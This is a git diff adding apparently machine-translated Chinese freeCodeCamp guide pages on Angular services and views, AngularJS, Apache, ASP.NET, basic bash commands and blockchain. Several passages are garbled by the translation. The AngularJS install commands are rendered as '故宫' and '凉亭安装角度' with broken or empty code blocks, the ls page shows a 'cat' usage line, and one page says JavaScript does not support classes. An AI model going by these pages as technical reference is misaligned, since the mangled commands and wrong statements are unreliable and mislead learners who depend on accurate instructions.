+  <li *ngFor="let log of logs; let i=index">{{ logs.length - i }} > {{ log.message }} @ {{ log.timestamp }}</li> 
+ </ul> 
+```
+
+这有ToDo应用程序的感觉。您可以记录消息并清除消息日志。想象一下，如果服务中的所有逻辑都被推入AppComponent！它会使代码变得复杂。 LoggerService保留从核心AppComponent类封装的与日志相关的代码。
+
+##### 获取请求
+
+这是另外一个值得玩的例子。这个例子可以归功于[typicode的JSONPlaceholder 1](https://jsonplaceholder.typicode.com) 。 API是公开的，可以免费使用。
+
+```typescript
+import { Injectable } from '@angular/core'; 
+ import { HttpClient } from '@angular/common/http'; 
+ import { Observable } from 'rxjs'; 
+ 
+ // https://jsonplaceholder.typicode.com 
+ // public API created by typicode @ https://github.com/typicode 
+ 
+ interface Post { 
+  userId:number; 
+  id:number; 
+  title:string; 
+  body:string; 
+ } 
+ 
+ @Injectable({ 
+  providedIn: 'root' 
+ }) 
+ export class PlaceholderService { 
+  constructor(private http:HttpClient) { } 
+ 
+  getPosts():Observable<Post[]> { 
+      return this.http.get('https://jsonplaceholder.typicode.com/posts'); 
+  } 
+ 
+  getPost(id:number):Observable<Post> { 
+      return this.http.get(`https://jsonplaceholder.typicode.com/posts/${id}`); 
+  } 
+ } 
+```
+
+这更像是一个独立的部分，而不是一个完全充实的例子。获取请求往往更适合作为可注入服务。替代方案是一个过于复杂的组件。注入的类订阅了PlaceholderService预配置的内容。
+
+#### 结论
+
+服务和依赖注入非常有用。它们允许开发人员封装通用逻辑并注入多个不同的组件。仅此一项对于任何未来的维护都是非常方便的。
+
+注射器作为中间人。它们在实例化组件和注册服务库之间进行调解。注入者为其分支子项提供这些可实例化的服务。
+
+有关服务和依赖注入的更多信息，请参阅下面的几个链接。
+
+## 来源
+
+1.  [Typicode， _JSONPlaceholder_ ，https： _//jsonplaceholder.typicode.com，2018年_ 5月29日访问。](https://jsonplaceholder.typicode.com)
+
+## 资源
+
+*   [角度文档](https://angular.io/docs)
+    
+*   [Angular GitHub存储库](https://github.com/angular/angular)
+    
+*   [依赖注入](https://angular.io/guide/dependency-injection-pattern)
+    
+*   [服务和DI介绍](https://angular.io/guide/architecture-services)
\ No newline at end of file
diff --git a/client/src/guide/chinese/angular/views/index.md b/client/src/guide/chinese/angular/views/index.md
new file mode 100644
index 0000000000..a332ae227a
--- /dev/null
+++ b/client/src/guide/chinese/angular/views/index.md
@@ -0,0 +1,243 @@
+---
+title: Views
+localeTitle: 查看
+---
+# 查看
+
+#### 动机
+
+视图提供了必要的抽象层。他们让Angular独立于平台特定的实用程序。作为一种跨平台技术，Angular使用其视图与平台连接。
+
+对于Angular模板HTML中的每个元素，都有一个相应的视图。 Angular建议通过这些视图与平台进行交互。虽然直接操纵仍然可行，但Angular警告它。 Angular提供了自己的应用程序编程接口（API）来替换本机操作。
+
+对特定于平台的API的回避视图会产生影响。在Web浏览器中开发Angular时，元素存在于两个位置：DOM和视图。仅与DOM混淆不会影响视图。
+
+由于Angular不与平台接口，因此会产生不连续性。视图应该一对一地镜像平台。否则，Angular会浪费资源管理与其不匹配的元素。如果删除元素，这很糟糕。
+
+这些差异使得视图显得不必要。永远不要忘记Angular是一个普遍的开发平台。视图是此目的的必要抽象。
+
+通过遵守视图，Angular应用程序将在所有受支持的开发平台上运行。平台包括Web，Android和Apple iOS。
+
+#### 注意
+
+从这里开始，本文假设一个Web浏览器环境。您可以通过更适用于您首选平台的内容轻松替换DOM。
+
+#### 观点是什么？
+
+视图几乎就像他们自己的虚拟DOM。每个视图都包含对DOM的相应部分的引用。视图内部是反映本节内容的节点。 Angular为每个DOM元素分配一个视图节点。每个节点都包含对匹配元素的引用。
+
+当Angular检查更改时，它会检查视图。 Angular避免了引擎盖下的DOM。视图代表它引用DOM。还有其他机制来确保视图更改呈现给DOM。相反，对DOM的更改不会影响视图。
+
+同样，除了DOM之外，视图在所有开发平台上都很常见。即使开发一个平台，视图仍被视为最佳实践。他们保证Angular对DOM有正确的解释。
+
+第三方库可能不存在视图。对于这种情况，直接DOM操作是一个逃避的方法。当然，不要指望应用程序跨平台运行。
+
+#### 视图类型
+
+有两种主要类型的视图：嵌入式和主机式。
+
+还存在视图容器。它们包含嵌入式和主机视图，通常称为简单的“视图”。
+
+每个`@Component`类都使用Angular注册一个视图容器（视图）。新组件生成针对特定DOM元素的自定义选择器。无论出现在何处，视图都会附加到该元素。 Angular现在知道组件存在于查看视图模型。
+
+主机视图附加到使用工厂动态创建的组件。工厂提供了视图实例化的蓝图。这样，应用程序可以在运行时实例化组件的主机视图。主机视图在其实例化时附加到组件的包装器。该视图存储描述传统组件功能的数据。
+
+`<ng-template></ng-template>`类似于HTML5 `<template></template>`元素。 Angular的`ng-template`适用于嵌入式视图。与主机视图不同，这些视图不会附加到DOM元素。它们与主机视图相同，因为它们都存在于视图容器内。
+
+请记住， `ng-template`不是DOM元素。它后来被注释掉了，只留下了嵌入式视图节点。
+
+差异取决于输入数据;嵌入式视图不存储组件数据。它们将一系列元素存储为包含其模板的节点。该模板构成了`ng-template`所有innerHTML。嵌入视图中的每个元素都是其自己的单独视图节点。
+
+#### 主机视图和容器
+
+主机视图_托管_动态组件。视图容器（视图）自动附加到模板中已有的元素。视图可以附加到除组件类特有的元素之外的任何元素。
+
+想想传统的组件生成方法。它首先创建一个类，用`@Component`装饰，然后填充元数据。对于模板的任何预定义组件元素，都会出现此方法。
+
+尝试使用Angular命令行界面（CLI）命令： `ng generate component [name-of-component]` 。它产生以下结果。
+
+```typescript
+import { Component, OnInit } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  templateUrl: './example.component.html', 
+  styleUrls: ['./example.component.css'] 
+ }) 
+ export class ExampleComponent implements OnInit { 
+  constructor() { } 
+ 
+  ngOnInit() { } 
+ } 
+```
+
+这将使用选择器`app-example`创建组件。这会将视图容器附加到模板中的`<app-example></app-example>` 。如果这是应用程序的根，则其视图将封装所有其他视图。根视图标志着Angular的应用程序的开始。
+
+动态创建组件并在Angular视图模型中注册它们需要一些额外的步骤。结构指令有助于管理动态内容（ `*ngIf, *ngFor, and *ngSwitch…` ）。但是，指令不能扩展到更大的应用程序。太多的结构指令使模板复杂化。
+
+这是从现有类逻辑实例化组件派上用场的地方。这些组件需要创建可以插入视图模型的主机视图。主机视图保存组件的数据，以便Angular识别其结构目的。
+
+##### 主机视图续
+
+每个组件都有一个类定义。然而，JavaScript不支持类。类是语法糖。它们生成包含组件工厂的函数。
+
+工厂是主持人观点的蓝图。他们构建视图以代表其组件与Angular交互。主机视图附加到DOM元素。从技术上讲，任何元素都可以，但最常见的目标是`<ng-component></ng-component>` 。
+
+必须首先存在用于保存视图的视图容器（视图）。 `<ng-container></ng-container>`是附加视图容器的好地方。视图容器是同样类型的视图，也适用于模板类元素。
+
+来自`@angular/core`一些帮助器和引用提供了其他所需的实用程序。以下示例将所有内容放在一起。
+
+```typescript
+// another.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  template: ` 
+  <h1>Another Component Content</h1> 
+  <h3>Dynamically Generated!</h3> 
+  ` 
+ }) 
+ export class AnotherComponent { } 
+```
+
+```typescript
+// example.component.ts 
+ 
+ import { AfterViewInit, Component, ViewChild, 
+ ViewContainerRef, ComponentFactoryResolver } from '@angular/core'; 
+ import { AnotherComponent } from './another.component'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  template: ` 
+  <h1>Application Content</h1> 
+  <ng-container #container></ng-container> 
+  <h3>End of Application</h3> 
+  `, 
+  entryComponents: [ AnotherComponent ] 
+ }) 
+ export class ExampleComponent implements AfterViewInit { 
+  @ViewChild("container", { read: ViewContainerRef }) ctr: ViewContainerRef; 
+ 
+  constructor(private resolve: ComponentFactoryResolver) { } 
+ 
+  ngAfterViewInit() { 
+    const factory = this.resolve.resolveComponentFactory(AnotherComponent); 
+    this.ctr.createComponent(factory); 
+  } 
+ } 
+```
+
+假设AnotherComponent和ExampleComponent都在同一模块下声明。 AnotherComponent是一个动态添加到ExampleComponent视图中的简单类组件。 ExampleComponent的`entryComponents`元数据必须包含用于[引导的](https://angular.io/guide/bootstrapping) AnotherComponent。
+
+虽然ExampleComponent是模板的一部分，但AnotherComponent仍然是分离的。它从ExampleComponent动态渲染到模板中。
+
+存在两个视图容器： `<app-example></app-example>`和`<ng-container></ng-container>` 。此示例的主机视图将插入`ng-container` 。
+
+`@ViewChild`查询完成后，将触发`AfterViewInit`生命周期钩子。使用_模板引用变量_ `#container` `@ViewChild` ， `@ViewChild`引用`ng-container`作为`ctr` 。
+
+`ViewContainerRef`是视图容器（视图）的引用类型。 `ViewContainerRef`引用支持插入其他视图的视图。 `ViewContainerRef`包含更多用于管理其包含视图的方法。
+
+通过依赖注入，构造函数实例化Angular的`ComponentFactoryResolver`服务的实例。此服务提取AnotherComponent的工厂函数（主机视图蓝图）。
+
+`createComponent`的单个参数需要工厂。 `createComponent`函数派生自`ViewContainerRef` 。它在从组件工厂派生的主机视图下实例化AnotherComponent。
+
+然后主机视图将插入到视图容器中。 `<ng-component></ng-component>`将组件包装在视图容器内。它附有上述主机视图。 `ng-component`是主机视图与DOM的连接。
+
+还有其他方法可以从组件动态创建主机视图。其他方式往往[侧重于优化](https://blog.angularindepth.com/working-with-dom-in-angular-unexpected-consequences-and-optimization-techniques-682ac09f6866) 。
+
+`ViewContainerRef`拥有强大的API。它可以管理托管或嵌入其视图中的任意数量的视图。 API包括视图操作，例如插入，移动和删除。这允许您通过Angular的视图模型操作DOM。这是最佳实践，以便Angular和DOM相互匹配。
+
+#### 嵌入式视图
+
+注意：嵌入视图附加到其他视图没有添加输入。主机视图使用来自其主机视图的输入数据附加到DOM元素，并将其描述为组件。
+
+结构指令创建[围绕一大块HTML内容](https://angular.io/guide/structural-directives#the-asterisk--prefix)的[`ng-template`](https://angular.io/guide/structural-directives#the-asterisk--prefix) 。该指令的host元素附加了一个视图容器。这使得内容可以有条件地呈现为其预期的布局。
+
+`ng-template`保存嵌入视图节点，表示其innerHTML中的每个元素。 `ng-template`绝不是DOM元素。它自我评论。标签定义其嵌入视图的扩展。
+
+#### 嵌入式视图续
+
+实例化嵌入式视图不需要超出其自身引用的外部资源。 `@ViewChild`查询可以获取它。
+
+使用模板引用，从中调用`createEmbeddedView`就可以了。引用的innerHTML成为其自己的嵌入式视图实例。
+
+在下一个示例中， `<ng-container></ng-container>`是一个视图容器。 `ng-container`在编译期间被注释掉，就像`ng-template` 。因此，它提供了用于插入嵌入视图同时保持DOM倾斜的出口。
+
+嵌入视图模板将插入`ng-container`的布局位置。除了视图容器之外，这个新插入的视图没有额外的视图封装。请记住它与主机视图的不同之处（主机视图附加到其`ng-component`元素包装器）。
+
+```typescript
+import { Component, AfterViewInit, ViewChild, 
+ ViewContainerRef, TemplateRef } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  template: ` 
+  <h1>Application Content</h1> 
+  <ng-container #container></ng-container> <!-- embed view here --> 
+  <h3>End of Application</h3> 
+ 
+  <ng-template #template> 
+    <h1>Template Content</h1> 
+    <h3>Dynamically Generated!</h3> 
+  </ng-template> 
+  ` 
+ }) 
+ export class ExampleComponent implements AfterViewInit { 
+  @ViewChild("template", { read: TemplateRef }) tpl: TemplateRef<any>; 
+  @ViewChild("container", { read: ViewContainerRef }) ctr: ViewContainerRef; 
+ 
+  constructor() { } 
+ 
+  ngAfterViewInit() { 
+    const view =  this.tpl.createEmbeddedView(null); 
+    this.ctr.insert(view); 
+  } 
+ } 
+```
+
+`@ViewChild`查询_模板引用变量_ `#template` 。这提供类型的模板参考`TemplateRef` 。 `TemplateRef`包含`createEmbeddedView`函数。它将模板实例化为嵌入式视图。
+
+`createEmbeddedView`的单个参数用于上下文。如果您想传递其他元数据，可以在此处作为对象进行传递。这些字段应与`ng-template`属性匹配（ `let-[context-field-key-name]=“value”` ）。传递`null`表示不需要额外的元数据。
+
+第二个`@ViewChild`查询提供对`ng-container`的引用，作为`ViewContainerRef` 。嵌入式视图仅附加到其他视图，而不是DOM。 `ViewContainerRef`引用嵌入视图中的视图。
+
+嵌入式视图也可以插入到`<app-example></app-example>`的组件视图中。此方法将视图定位在ExampleComponent视图的最后。但是，在这个例子中，我们希望内容显示在`ng-container`所在的中间位置。
+
+`ViewContainerRef` `insert`函数_将_嵌入视图插入`ng-container` 。视图内容在ExampleComponent视图中间的预期位置显示。
+
+#### 结论
+
+不建议使用特定于平台的方法操作DOM。创建和管理一组紧凑的视图使Angular和DOM保持在同一页面上。更新视图会通知Angular当前DOM的状态。对视图的更新也会延续到DOM显示的内容。
+
+Angular为视图交互提供了灵活的API。由于这种抽象级别，开发独立于平台的应用程序是可能的。当然，依赖于平台的策略的后退诱惑仍然存在。除非你有充分的理由不这样做，否则请坚持使用API​​ Angular提供的观点。这将在所有平台上产生可预测的结果。
+
+查看以下资源！本文仅涉及表面。对于一篇文章，视图还有很多其他用例。
+
+## 来源
+
+*   [AngularInDepth.com。 “组件视图，主机视图，嵌入式视图”，＃40423772。 2017年7月11日。“视图，主机视图和嵌入视图之间有什么区别”](https://stackoverflow.com/questions/40423772/what-is-the-difference-between-a-view-a-host-view-and-an-embedded-view)
+    
+*   [角度团队。 “结构指令”。 _谷歌_ 2018年5月31日访问](https://angular.io/guide/structural-directives)
+    
+*   [Koretskyi，Maxim。 “使用ViewContainerRef探索Angular DOM操作技术”。 _Angular In Depth_ ，2017年3月4日。访问2018年5月30日。](https://blog.angularindepth.com/exploring-angular-dom-abstractions-80b3ebcfc02)
+    
+*   [Koretskyi，Maxim。 “实现高级DOM操作方案”。 _Youtube_ ，由ng-conf上传，2018年4月19日。访问2018年5月30日](https://www.youtube.com/watch?v=vz9cNCkaPsY)
+    
+*   [Koretskyi，Maxim。 “在Angular中使用DOM：意外后果和优化技术”。 _Angular In Depth_ ，2017年5月3日。访问2018年5月31日](https://blog.angularindepth.com/working-with-dom-in-angular-unexpected-consequences-and-optimization-techniques-682ac09f6866)
+    
+
+## 资源
+
+*   [角度文档](https://angular.io/guide/pipes)
+    
+*   [角度深度](https://blog.angularindepth.com)
+    
+*   [ViewContainerRef](https://angular.io/api/core/ViewContainerRef)
+    
+*   [TemplateRef](https://angular.io/api/core/TemplateRef)
+    
+*   [Angular GitHub存储库](https://github.com/angular/angular)
+    
+*   [角度CLI](https://cli.angular.io)
\ No newline at end of file
diff --git a/client/src/guide/chinese/angularjs/index.md b/client/src/guide/chinese/angularjs/index.md
new file mode 100644
index 0000000000..f2f9ce9df3
--- /dev/null
+++ b/client/src/guide/chinese/angularjs/index.md
@@ -0,0 +1,30 @@
+---
+title: AngularJS
+localeTitle: AngularJS
+---
+## AngularJS
+
+AngularJS（版本1.x）是一个开源的前端JavaScript框架。 AngularJS扩展了HTML以开发丰富而强大的前端。 它减少了HTML代码的重复使用。通过使用AngularJS提供的保存指令可以避免这种重复 很多时间和精力。
+
+**安装** ：
+
+故宫：
+
+\`\`\`壳 npm安装角度
+```
+HTML: 
+```
+
+HTML
+```
+bower: 
+```
+
+贝壳 凉亭安装角度
+```
+HTML: 
+```
+
+HTML
+
+\`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/apache/index.md b/client/src/guide/chinese/apache/index.md
new file mode 100644
index 0000000000..494992baeb
--- /dev/null
+++ b/client/src/guide/chinese/apache/index.md
@@ -0,0 +1,7 @@
+---
+title: Apache
+localeTitle: 阿帕奇
+---
+## 阿帕奇
+
+Apache HTTP Server，通常称为Apache，是一个免费的开源跨平台Web服务器，根据[Apache License 2.0](https://en.wikipedia.org/wiki/Apache_License)的条款[发布](https://en.wikipedia.org/wiki/Apache_License) 。 Apache由Apache软件基金会赞助的开放式开发人员社区开发和维护。
\ No newline at end of file
diff --git a/client/src/guide/chinese/aspnet/index.md b/client/src/guide/chinese/aspnet/index.md
new file mode 100644
index 0000000000..d27f6109ac
--- /dev/null
+++ b/client/src/guide/chinese/aspnet/index.md
@@ -0,0 +1,17 @@
+---
+title: ASPNET
+localeTitle: ASPNET
+---
+## ASP.NET
+
+# 概观
+
+ASP.Net是Microsoft提供的Web开发平台。它用于创建基于Web的应用程序和使用HTML，CSS和JavaScript作为前端的网站。 像C＃和VB .NET这样的服务器端编程语言可用于编写后端代码。
+
+ASP.NET提供了用于创建Web应用程序的不同框架：例如Web Forms和ASP.NET MVC。
+
+#### 更多信息：
+
+*   [ASP .NET教程](https://www.tutorialspoint.com/asp.net/)
+*   [ASP .NET站点](https://www.asp.net/)
+*   [ASP .NET Microsoft文档](https://docs.microsoft.com/en-us/aspnet/#pivot=aspnet/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/bash/bash-cat/index.md b/client/src/guide/chinese/bash/bash-cat/index.md
new file mode 100644
index 0000000000..2055add469
--- /dev/null
+++ b/client/src/guide/chinese/bash/bash-cat/index.md
@@ -0,0 +1,39 @@
+---
+title: Bash Cat
+localeTitle: 猛击猫
+---
## 猛击猫
+
+Cat是Unix操作系统中最常用的命令之一。
+
+Cat用于按顺序读取文件并将其打印到标准输出。 这个名字是从它的功能，骗子**猫** enate文件导出。
+
+### 用法
+
+```bash
+cat [options] [file_names] 
+```
+
+最常用的选项：
+
+*   `-b` ，数字非空白输出行
+*   `-n` ，对所有输出行进行编号
+*   `-s` ，挤压多个相邻的空白行
+*   `-v` ，显示非打印字符，标签和行尾字符除外
+
+### 例
+
+在终端中打印file.txt的内容：
+
+```bash
+cat file.txt 
+```
+
+连接两个文件的内容并在终端中显示结果：
+
+```bash
+cat file1.txt file2.txt 
+```
+
+#### 更多信息：
+
+*   维基百科：https：//en.wikipedia.org/wiki/Cat\_（Unix）
\ No newline at end of file
diff --git a/client/src/guide/chinese/bash/bash-cd/index.md b/client/src/guide/chinese/bash/bash-cd/index.md
new file mode 100644
index 0000000000..db9a3e7513
--- /dev/null
+++ b/client/src/guide/chinese/bash/bash-cd/index.md
@@ -0,0 +1,18 @@
+---
+title: Bash cd
+localeTitle: Bash cd
+---
+## Bash命令：cd
+
+**将Directory更改**为指定的路径，例如`cd projects` 。
+
+有一些非常有用的论据来帮助这个：
+
+*   `.`指的是当前目录，例如`./projects`
+*   `..`可以用来向上移动一个文件夹，使用`cd ..` ，并且可以组合起来向上移动多个级别`../../my_folder`
+*   `/`是系统到达核心文件夹的根，例如`system` ， `users`等。
+*   `~`是主目录，通常是路径`/users/username` 。通过将其包含在路径的开头，例如`~/projects` ，移回到相对于此路径引用的文件夹。
+
+### 更多信息：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Cd_(command))
\ No newline at end of file
diff --git a/client/src/guide/chinese/bash/bash-head/index.md b/client/src/guide/chinese/bash/bash-head/index.md
new file mode 100644
index 0000000000..3cd00838a3
--- /dev/null
+++ b/client/src/guide/chinese/bash/bash-head/index.md
@@ -0,0 +1,45 @@
+---
+title: Bash Head
+localeTitle: Bash Head
+---
+## Bash命令：头
+
+Head用于打印前十行（默认情况下）或指定文件或文件的任何其他数量。 Cat用于按顺序读取文件并将其打印到标准输出。 即打印出整个文件的全部内容。 - 这并不总是必要的，也许您只想检查文件的内容以查看它是否正确，或检查它确实不是空的。 head命令允许您查看文件的前N行。
+
+如果调用多于on file，则显示每个文件的前十行，除非指定了特定行数。 使用下面的选项选择显示文件头是可选的
+
+### 用法
+
+```bash
+head [options] [file_name(s)] 
+```
+
+最常用的选项：
+
+*   `-n N` ，打印出文件的前N行
+*   `-q` ，不打印文件头
+*   `-v` ，始终打印出文件头
+
+### 例
+
+```bash
+head file.txt 
+```
+
+打印终端前十行file.txt（默认）
+
+```bash
+head -n 7 file.txt 
+```
+
+在file.txt的前七行中打印终端
+
+```bash
+head -q -n 5 file1.txt file2.txt 
+```
+
+在终端中打印file1.txt的前5行，然后是file2.txt的前5行
+
+### 更多信息：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Head_(Unix))
\ No newline at end of file
diff --git a/client/src/guide/chinese/bash/bash-ls/index.md b/client/src/guide/chinese/bash/bash-ls/index.md
new file mode 100644
index 0000000000..705a66909b
--- /dev/null
+++ b/client/src/guide/chinese/bash/bash-ls/index.md
@@ -0,0 +1,35 @@
+---
+title: Bash ls
+localeTitle: 巴什ls
+---
## 巴什ls
+
+`ls`是类Unix操作系统上的命令，用于列出目录的内容，例如文件夹和文件名。
+
+### 用法
+
+```bash
+cat [options] [file_names] 
+```
+
+最常用的选项：
+
+*   `-a` ，所有文件和文件夹，包括隐藏的文件和文件夹`.`
+*   `-l` ，以长格式列出
+*   `-G` ，启用彩色输出。
+
+### 例：
+
+在`freeCodeCamp/guide/`列出文件
+
+```bash
+ls                                                                ⚬ master 
+ CODE_OF_CONDUCT.md bin                package.json       utils 
+ CONTRIBUTING.md    gatsby-browser.js  plugins            yarn.lock 
+ LICENSE.md         gatsby-config.js   src 
+ README.md          gatsby-node.js     static 
+ assets             gatsby-ssr.js      translations 
+```
+
+#### 更多信息：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Ls)
\ No newline at end of file
diff --git a/client/src/guide/chinese/bash/bash-man/index.md b/client/src/guide/chinese/bash/bash-man/index.md
new file mode 100644
index 0000000000..fb49a09be1
--- /dev/null
+++ b/client/src/guide/chinese/bash/bash-man/index.md
@@ -0,0 +1,31 @@
+---
+title: Bash Man
+localeTitle: Bash Man
+---
## 人
+
+Man， **man** ual的缩写，是一个bash命令，用于显示给定命令的在线参考手册。
+
+Man显示给定命令的相关手册**页** （ **man** ual **页面的**缩写）。
+
+### 用法
+
+```bash
+man [options] [command] 
+```
+
+最常用的选项：
+
+*   `-f` ，打印给定命令的简短描述
+*   `-a` ，连续显示手册中包含的所有可用的介绍手册页
+
+### 例
+
+显示ls的手册页：
+
+```bash
+man ls 
+```
+
+#### 更多信息：
+
+*   维基百科：https：//en.wikipedia.org/wiki/Man\_page
\ No newline at end of file
diff --git a/client/src/guide/chinese/bash/bash-mv/index.md b/client/src/guide/chinese/bash/bash-mv/index.md
new file mode 100644
index 0000000000..2ce1b26382
--- /dev/null
+++ b/client/src/guide/chinese/bash/bash-mv/index.md
@@ -0,0 +1,22 @@
+---
+title: Bash mv
+localeTitle: Bash mv
+---
+## Bash命令：mv
+
+**移动文件和文件夹。**
+```
+mv source target 
+ mv source ... directory 
+```
+
+第一个参数是要移动的文件，第二个参数是将其移动到的位置。
+
+常用选项：
+
+*   `-f`强制移动它们并覆盖文件而不用与用户核对。
+*   `-i`在覆盖文件之前提示确认。
+
+### 更多信息：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Mv)
\ No newline at end of file
diff --git a/client/src/guide/chinese/bash/index.md b/client/src/guide/chinese/bash/index.md
new file mode 100644
index 0000000000..24c68c65e1
--- /dev/null
+++ b/client/src/guide/chinese/bash/index.md
@@ -0,0 +1,62 @@
+---
+title: Bash
+localeTitle: 巴什
+---
+## 什么是Bash？
+
+Bash （Bourne Again SHell的缩写）是一个Unix shell和一个命令语言解释器。 shell只是一个执行命令的宏处理器。它是大多数Linux发行版中默认打包使用最广泛的shell，也是Korn shell（ksh）和C shell（csh）的后续版本。
+
+Linux操作系统可以通过命令行完成很多事情。一些例子是…
+
+*   编辑文件
+*   调整操作系统的音量
+*   从互联网上获取网页
+*   自动化您每天所做的工作
+
+您可以[在此处](https://www.gnu.org/software/bash/)通过[GNU文档](https://www.gnu.org/software/bash/manual/html_node/index.html#SEC_Contents)和[tldp指南](http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html#toc10)阅读有关bash的更多信息。
+
+## 在命令行上使用bash（Linux，OS X）
+
+您可以通过打开终端在大多数Linux和OS X操作系统上开始使用bash。让我们考虑一个简单的hello world示例。打开你的终端，并写下以下行（$符号后的所有内容）：
+```
+zach@marigold:~$ echo "Hello world!" 
+ Hello world! 
+```
+
+如您所见，我们使用echo命令打印字符串“Hello world！”。到终点站。
+
+## 编写一个bash脚本
+
+您还可以将所有bash命令放入.sh文件中，然后从命令行运行它们。假设您有一个包含以下内容的bash脚本：
+```
+#!/bin/bash 
+ echo "Hello world!" 
+```
+
+值得注意的是，脚本的第一行以`#!`开头`#!` 。这是一个特殊的指令，Unix以不同的方式对待。
+
+#### 为什么我们在脚本文件的开头使用＃！/ bin / bash？
+
+这是因为让交互式shell知道为后面的程序运行什么样的解释器是一种惯例。第一行告诉Unix该文件将由/ bin / bash执行。这是几乎每个Unix系统上Bourne shell的标准位置。添加＃！/ bin / bash作为脚本的第一行，告诉操作系统调用指定的shell来执行脚本中的命令。 `#!`通常被称为“哈希砰”，“嘻嘻”或“沙梆”。 虽然只有在将脚本作为可执行文件运行时才会执行。例如，当您键入`./scriptname.extension` ，它将查看顶行以查找解释器，而将脚本作为`bash scriptname.sh`运行时，将忽略第一行。
+
+然后你可以像这样运行脚本： 对于make file executable，你应该在sudo chmod + x“filename”下调用这个命令。
+```
+zach@marigold:~$ ./myBashScript.sh 
+ Hello world! 
+```
+
+该脚本只有两行。第一个指示用于运行文件的解释器（在本例中为bash）。第二行是我们想要使用的命令，echo，然后是我们想要打印的“Hello World”。
+
+有时脚本不会被执行，上面的命令将返回错误。这是由于文件上设置的权限。为了避免这种用途：
+```
+zach@marigold:~$ chmod u+x myBashScript.sh 
+```
+
+\` 然后执行脚本。
+
+### 更多信息：
+
+*   维基百科：https：//en.wikipedia.org/wiki/Bash _（Unix_ shell）
+*   tldp.org Bash指南：http：//tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html#toc2
+*   gnu.org Bash手册：https：//www.gnu.org/software/bash/manual/html _node / index.html #SEC_内容
+*   Shell脚本教程入门：https：//www.shellscript.sh/
\ No newline at end of file
diff --git a/client/src/guide/chinese/blockchain/cryptocurrency/index.md b/client/src/guide/chinese/blockchain/cryptocurrency/index.md
new file mode 100644
index 0000000000..edbff34da9
--- /dev/null
+++ b/client/src/guide/chinese/blockchain/cryptocurrency/index.md
@@ -0,0 +1,22 @@
+---
+title: Cryptocurrency
+localeTitle: Cryptocurrency
+---
+## Cryptocurrency
+
+> 宣布首次发布比特币，这是一种新的电子现金系统，它使用点对点网络来防止双重支出。它完全是分散的，没有服务器或中央权限。
+> 
+> \- Satoshi Nakamoto，2009年1月9日，在SourceForge上宣布比特币。
+
+加密货币是数字货币的一个子集，它作为双方之间的交换媒介。它被称为加密货币，因为利用密码术来保护其交易。有各种加密货币，包括LiteCoin，Dash，以太坊，Ripple，以及目前最流行的比特币。这是进行无信任交易的完美方式，因为它不涉及任何第三方。
+
+与普通货币不同，加密货币可以作为分数交换。例如，交易可达0.00007 Btc甚至更低。
+
+如果您想通过挖掘获得比特币，可以通过解决验证交易的数学工作量证明问题来完成。区块链使用不可逆加密哈希函数的概念，其包括猜测随机数（通常小于某个值）来解决事务验证的问题。您需要具有高处理能力的机器才能解决这些问题（例如Fast-Hash One或CoinTerra TerraMiner IV）。
+
+#### 更多信息：
+
+[Cryptocurrency](https://en.wikipedia.org/wiki/Cryptocurrency)  
+[加密货币终极指南](https://blockgeeks.com/guides/what-is-cryptocurrency)
+
+[比特币](https://en.wikipedia.org/wiki/Bitcoin)
\ No newline at end of file
diff --git a/client/src/guide/chinese/blockchain/features/index.md b/client/src/guide/chinese/blockchain/features/index.md
new file mode 100644
index 0000000000..3868520f7e
--- /dev/null
+++ b/client/src/guide/chinese/blockchain/features/index.md
@@ -0,0 +1,59 @@
+---
+  title : Features of BlockTech
+localeTitle: BlockTech的特点
+---
+## 区块链技术的特点
+
+区块链几乎总是用来代替比特币和加密货币。但是，还有许多其他地方可以使用这种技术。而且我们开始勉强抓住它的表面。随着围绕它的所有炒作，我们知道，区块链技术（BlockTech）将是巨大的。但是它的独特之处是什么？
+
+在本文中，我们将探讨BlockTech的主要特征。
+
+#### _\*分散系统_
+
+> 区块链是一种分散式技术，按设计。
+
+当某个东西由中央机构控制时，决策权掌握在管理层的顶点，这种系统称为集中系统。例如，银行是一个集中的系统，总督有责任作出决定。
+
+相反，当权力归属于人民或用户的手中时，这种系统被称为分散系统。 例如，对等网络Torrent是一个分散的系统，用户可以完全控制。
+
+![分散系统](https://raw.githubusercontent.com/Vagisha16/Hw3/master/blockchain_article_pic.jpg)
+
+#### _\*分布式分类帐_
+
+> 区块链使用分布式分类帐技术（DLT）来存储和访问周围的数据。
+
+当某些内容存储在分布式分类帐上时，它会同时在网络上创建多个副本。与传统数据库不同，分布式分类帐没有中央数据库或管理功能。
+
+![分布式分类帐](https://qph.fs.quoracdn.net/main-qimg-2e24c4949a63eefa9bbab1773e185cdd)
+
+当应用于像区块链这样的分散系统时，每个用户都有一份分类帐副本并参与交易验证。这为Blockchain赋予了Immutability的属性并确保了安全性。由于数据是分布式的，因此没有黑客破坏数据的集中版本。数据和记录是公开的，易于验证。这也消除了单点故障。
+
+#### _\*安全生态系统（加密哈希）_
+
+BlockTech使用Proof of Work和Hash加密等概念来确保安全性和不变性。工作证明涉及世界各地的几个人使用计算算法来尝试找到满足关于散列值的预定义条件的适当散列值。
+
+![哈希](https://raw.githubusercontent.com/Vagisha16/Hw3/master/Hash.png)
+
+![工作证明](https://qph.fs.quoracdn.net/main-qimg-098a67b40e4d0f625cf2cbbda2c95df0)
+
+#### _\*采矿_
+
+Torrent是一个用于共享文件的点对点分散网络。 BlockTech使用类似的技术。区别于用户的是，在Torrent中，系统依赖于用户的荣誉代码来播种文件。然而，在区块链中，参与交易的用户具有经济激励。这些用户被称为“矿工”。 Miners花费他们的计算资源来解决加密哈希并确保事务的不可变性和可靠性。每个成功的解决方案（解密）都能确保一些经济效益。
+
+![矿业](https://raw.githubusercontent.com/Vagisha16/Hw3/master/5f6609014470f4b0122de37eb09dbfc7.jpg)
+
+#### _\*按时间顺序排列并加盖时间戳_
+
